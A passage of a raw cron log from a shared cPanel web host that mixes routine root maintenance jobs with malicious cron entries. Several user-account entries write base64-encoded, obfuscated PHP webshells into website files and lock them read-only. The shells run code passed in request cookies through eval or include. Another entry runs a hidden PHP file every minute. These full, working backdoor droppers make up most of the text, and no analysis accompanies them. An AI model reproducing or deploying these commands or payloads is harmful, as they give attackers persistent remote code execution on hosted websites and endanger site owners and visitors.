Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:39:01 medusa CROND[20215]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:39:01 medusa CROND[20220]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:39:01 medusa CROND[20223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:39:01 medusa CROND[20233]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 12:39:01 medusa CROND[20234]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:39:01 medusa CROND[20237]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:40:01 medusa CROND[8173]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:40:01 medusa CROND[8178]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:40:01 medusa CROND[8185]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:40:01 medusa CROND[8383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 12:40:02 medusa CROND[8490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:40:02 medusa CROND[8492]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:40:02 medusa CROND[8493]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:40:02 medusa CROND[8491]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:40:02 medusa CROND[8508]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:40:02 medusa CROND[8510]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:40:02 medusa CROND[8511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:40:02 medusa CROND[8512]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 12:40:02 medusa CROND[8513]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:40:02 medusa CROND[8515]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:40:02 medusa CROND[8516]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:40:02 medusa CROND[8519]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:40:02 medusa CROND[8517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:40:02 medusa CROND[8530]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:40:02 medusa CROND[8537]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:40:02 medusa CROND[8531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:40:02 medusa CROND[8545]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:40:02 medusa CROND[8535]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 12:40:02 medusa CROND[8541]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 12:40:02 medusa CROND[8540]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:40:02 medusa CROND[8543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:40:02 medusa CROND[8538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:40:02 medusa CROND[8556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 12:40:02 medusa CROND[8542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:41:01 medusa CROND[27957]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:41:02 medusa CROND[28073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:41:02 medusa CROND[28102]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:41:02 medusa CROND[28104]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:41:02 medusa CROND[28107]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:41:02 medusa CROND[28109]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:41:02 medusa CROND[28110]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:41:02 medusa CROND[28113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:41:02 medusa CROND[28119]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:41:02 medusa CROND[28118]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:41:02 medusa CROND[28120]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:41:02 medusa CROND[28130]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
